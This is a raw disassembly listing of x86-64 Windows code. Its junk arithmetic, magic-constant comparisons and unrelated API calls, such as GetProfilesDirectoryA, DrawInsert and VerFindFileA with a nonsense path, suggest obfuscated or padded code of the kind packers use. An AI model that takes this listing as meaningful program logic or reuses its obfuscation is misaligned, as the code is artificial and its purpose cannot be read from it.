mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
movsx ecx, word [rsp + 0xb80]
movsx edx, word [rsp + 0xb88]
add ecx, edx
cmp eax, ecx
jle 0x14000bc7a
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov qword [rsp + 0x4f58], rax
movabs rax, 0x2712b3df4ca99e22
cmp qword [rsp + 0x4f58], rax
je 0x14000bc46
movabs rax, 0x7ebd7a636095e4b4
cmp qword [rsp + 0x4f58], rax
je 0x14000bba2
jmp 0x14000bc7a
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
lea rdx, [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d20]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x2b04], eax
lea r9, [rsp + 0x20dc8]
mov r8d, DrawInsert
mov edx, 0x60
mov rcx, qword [rsp + 0x4d20]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cd0]
shr rax, cl
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
jmp 0x14000bc7a
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4e48]
mov qword [rsp + 0x4f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
and eax, ecx
movsx ecx, word [rsp + 0xb94]
movsx edx, word [rsp + 0xb9c]
add ecx, edx
cmp eax, ecx
jg 0x1401538d3
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x2b9c], eax
cmp dword [rsp + 0x2b9c], 0xa2303e1
je 0x14000bcea
jmp 0x14000bd7d
mov eax, dword [rsp + 0x2af4]
mov dword [rsp + 0x2ba0], eax
cmp dword [rsp + 0x2ba0], 0x9b607357
je 0x14000bd14
cmp dword [rsp + 0x2ba0], 0xac76ec6c
je 0x14000bd2f
jmp 0x14000bd7b
mov rax, qword [rsp + 0x4e78]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x4cf0]
call fcn.140154fb0
nop
jmp 0x14000bd7b
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov r9d, 0x11
lea r8, [rsp + 0x211c0]
lea rdx, [fcn.140154e90]
mov rcx, qword [rsp + 0x4f48]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x2ba4], eax
jmp 0x14000bde8
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14016e018], rax
lea rax, [rsp + 0x11f]
mov qword [rsp + 0x4f68], rax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba0]
and eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x2ba8], eax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
mov dword [rsp + 0x2bac], eax
cmp dword [rsp + 0x2bac], 0
je 0x14000be09
jmp 0x14000bed9
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov qword [rsp + 0x4f78], rax
cmp qword [rsp + 0x4f78], 0
je 0x14000be40
movabs rax, 0x21da0c73bc68cbad
cmp qword [rsp + 0x4f78], rax
je 0x14000be91
jmp 0x14000bec9
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov eax, dword [0x14016e008]
mov ecx, dword [rsp + 0x2ad8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
lea rax, [rsp + 0x11d]
mov qword [rsp + 0x4f80], rax
jmp 0x14000bec9
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb9c]
xor eax, ecx
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11f]
sar eax, cl
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov dword [rsp + 0x2bb0], 0xc6ff
jmp 0x14000bf74
movzx eax, word [rsp + 0xba0]
mov dword [rsp + 0x2bb4], eax
cmp dword [rsp + 0x2bb4], 0x71
je 0x14000bf01
cmp dword [rsp + 0x2bb4], 0xb9f
je 0x14000bf54
jmp 0x14000bf74
mov rcx, qword [rsp + 0x4ce0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x2b04], eax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb98]
shl eax, cl
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11f], al
jmp 0x14000bf74
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x4e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov dword [rsp + 0x2bb8], 0xb7f6
movzx eax, word [rsp + 0xb98]
mov dword [rsp + 0x2bbc], eax
cmp dword [rsp + 0x2bbc], 0xa400
je 0x14000bfa0
jmp 0x14000c0a0
movzx eax, word [rsp + 0xb98]
mov dword [rsp + 0x2bc0], eax
cmp dword [rsp + 0x2bc0], 0xea5
je 0x14000bfc1
jmp 0x14000c04a
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov qword [rsp + 0x4f88], rax
movabs rax, 0x67871b94f02c3a3a
cmp qword [rsp + 0x4f88], rax
je 0x14000bfea
jmp 0x14000c027
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2b40]
mov rax, qword [rsp + 0x4e60]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4e60]
mov ecx, dword [rax]
call fcn.140154460
nop
jmp 0x14000c048
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
jmp 0x14000c09e
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x4f90], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
jmp 0x14000c0ff
mov rax, qword [rsp + 0x4ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
lea r8, [rsp + 0x4e60]
mov rdx, qword [rsp + 0x4f98]
mov rcx, qword [rsp + 0x4fa0]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x2ba4], eax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11f]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
cmp dword [rsp + 0x2bb8], 0xd5de
jae 0x14000c544
movsx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cd0]
shr rax, cl
mov qword [rsp + 0x4f70], rax
mov eax, dword [rsp + 0x2af4]
movzx ecx, al
mov eax, dword [rsp + 0x2ad8]
shl eax, cl
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xb98]
xor eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x4e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2bb8]
add eax, 0x57
mov dword [rsp + 0x2bb8], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
sub eax, ecx
mov byte [rsp + 0x11f], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x4fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
and eax, ecx
mov word [rsp + 0xb98], ax
movsx eax, word [0x14016f150]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb90], ax
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov byte [0x14016f152], al
movsx eax, word [rsp + 0xb94]
movsx ecx, word [0x14016f150]
sub eax, ecx
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x4fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fb0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4eb0], rax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb98]
shl eax, cl
mov word [rsp + 0xa34], ax
jmp 0x14000c0ff
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov byte [rsp + 0x2bc4], al
cmp byte [rsp + 0x2bc4], 0x93
je 0x14000c562
jmp 0x14000c59c
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4da0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2ba8]
mov rax, qword [rsp + 0x4e60]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
call fcn.140154460
nop
jmp 0x14000c6c4
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [0x14016e010]
mov qword [rsp + 0x4fb8], rax
movabs rax, 0x7e121970c458c87a
cmp qword [rsp + 0x4fb8], rax
je 0x14000c5e7
jmp 0x14000c693
movzx eax, byte [rsp + 0xe9]
movzx ecx, byte [rsp + 0x11d]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x2bc8], eax
cmp dword [rsp + 0x2bc8], 0x161a264f
je 0x14000c684
cmp dword [rsp + 0x2bc8], 0x628f3ce8
je 0x14000c62d
jmp 0x14000c691
mov r8d, 0xe3
mov rdx, qword [rsp + 0x4cf8]
mov rcx, qword [rsp + 0x4ce0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
jmp 0x14000c691
mov ecx, dword [rsp + 0x2ae0]
call fcn.140154a20
nop
jmp 0x14000c6c4
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xb84]
movzx edx, word [rsp + 0xba0]
and ecx, edx
cmp eax, ecx
jle 0x1401537bf
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
xor eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
and eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2b14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
and eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x4e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4de0]
mov qword [rsp + 0x4fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4f38]
mov qword [rsp + 0x4fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
movzx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov byte [rsp + 0x11d], al
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba8], eax
mov eax, dword [rsp + 0x2bb0]
add eax, 0x9f
mov dword [rsp + 0x2bb0], eax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
sar eax, cl
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
xor eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
movzx eax, word [rsp + 0xba0]
movzx ecx, word [rsp + 0xb84]
and eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fc0]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
cmp dword [rsp + 0x2bb0], 0xcd35
jne 0x14000c6f6
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [rsp + 0x2bcc], al
cmp byte [rsp + 0x2bcc], 0
je 0x14000cb92
cmp byte [rsp + 0x2bcc], 0xdb
je 0x1401535ec
jmp 0x14015378a
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov qword [rsp + 0x4fd8], rax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov edx, dword [rsp + 0x2ba8]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x14000ced8
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [0x14016e018]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4eb0]
mov rdx, qword [rsp + 0x4cd8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14000cec8
mov eax, dword [rsp + 0x2ad8]
mov dword [rsp + 0x2bd0], eax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4ec8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x4fe0], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb9c]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
mov qword [rsp + 0x4fe8], rax
cmp qword [rsp + 0x4fe8], 0
je 0x14000ccb8
movabs rax, 0x14ff094409042b48
cmp qword [rsp + 0x4fe8], rax
je 0x14000cea7
jmp 0x14000cec8
mov rax, qword [rsp + 0x4eb0]
mov qword [rsp + 0x4ff0], rax
cmp qword [rsp + 0x4ff0], 0
je 0x14000ccd8
jmp 0x14000ce88
mov rax, qword [0x14016f158]
movzx eax, byte [rax]
mov byte [rsp + 0x2bd4], al
cmp byte [rsp + 0x2bd4], 0
je 0x14000ccf8
jmp 0x14000ce4a
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov dword [rsp + 0x2bd8], eax
cmp dword [rsp + 0x2bd8], 0
je 0x14000cd2a
cmp dword [rsp + 0x2bd8], 0x4fb7
je 0x14000ce2b
jmp 0x14000ce48
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov qword [rsp + 0x4ff8], rax
movabs rax, 0xcc8202431d6bad48
cmp qword [rsp + 0x4ff8], rax
je 0x14000cd56
jmp 0x14000ce29
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x2bdc], al
cmp byte [rsp + 0x2bdc], 0x5b
je 0x14000cd74
jmp 0x14000ce05
lea rcx, [rsp + 0x21000]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x4f48], rax
lea rax, [rsp + 0x20e20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x4f98]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20df8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4d20]
mov r8, qword [rsp + 0x4d20]
lea rdx, str.C:_fluid_farflung_broach
mov ecx, 0xbf
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov word [rsp + 0xb8c], ax
jmp 0x14000ce29
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
jmp 0x14000ce48
mov rax, qword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4f90]
mov dword [rcx], eax
jmp 0x14000ce86
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4de0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4e10]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x2ba8]
movzx ecx, word [rsp + 0xa34]
call fcn.140154e90
nop
jmp 0x14000cea5
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ba8]
sar eax, cl
mov dword [rsp + 0x2b40], eax
jmp 0x14000cec8
mov rax, qword [rsp + 0x4fd8]
movzx ecx, al
mov rax, qword [rsp + 0x4cd0]
shl rax, cl
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
movzx eax, byte [0x14016f152]
mov byte [rsp + 0x121], al
jmp 0x14000cf25
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov rdx, qword [rsp + 0x4eb0]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14000cf25
movzx edx, byte [rsp + 0x11d]
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rax]
call fcn.140154fb0
nop
cmp dword [rsp + 0x2b30], 0x604b
ja 0x14000d500
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
